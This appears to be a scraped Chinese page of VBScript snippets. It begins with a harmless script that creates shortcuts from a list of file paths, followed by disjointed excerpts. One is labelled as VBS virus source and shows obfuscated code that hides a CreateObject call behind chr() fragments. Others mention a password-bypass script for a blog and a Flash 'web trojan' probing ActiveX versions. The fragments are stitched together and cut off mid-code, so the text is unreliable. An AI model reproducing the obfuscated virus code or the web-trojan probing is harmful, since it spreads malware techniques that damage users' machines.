Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("d:1.txt", 1)
set WshShell = WScript.CreateObject("WScript.Shell")
strFolder = "d:1"
Do Until objFile.AtEndOfStream
strLine = objFile.ReadLine
filename = strLine
Set objFile = objFSO.GetFile(filename)
set oShellLink = WshShell.CreateShortcut(strFolder & objFSO.GetBaseName(filename) & ".lnk")
oShellLink.TargetPath = objFile
oShellLink.WindowStyle = 1
oShellLink.WorkingDirectory = objFSO.GetParentFolderName(filename)
oShellLink.Save
Loop
objFile.Close

这个只传递一次就完了

vbs病毒源文件
remvbs.rhlDimfs,r,ss,w,reg,regpath,dvbsddd="Setfs="&chr(67)&"reate"&"Obj"&chr(101)&"c"&chr(116)&chr(40)&chr(34)&"Scrip"&chr(116)&"ing.File"&chr(83)&"yste"&chr(109)&chr(79)&"bject"&chr(34)&chr(41)Execu

海阳顶端网进百度blog必须输入密码的vbscript代码
要看懂下面的代码，需要了解下面的函数vbscriptstrreverse函数返回字符串，此字符串与指定字符串顺序相反。strreverse(string1)string1参数是要进行字符反向

关于脚本调用外部对像和类型库
先举个例子，最近的flash网马调用:varFlashver=(newActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version").split(",");这个ShockwaveFlash.ShockwaveFlash.9从何而来，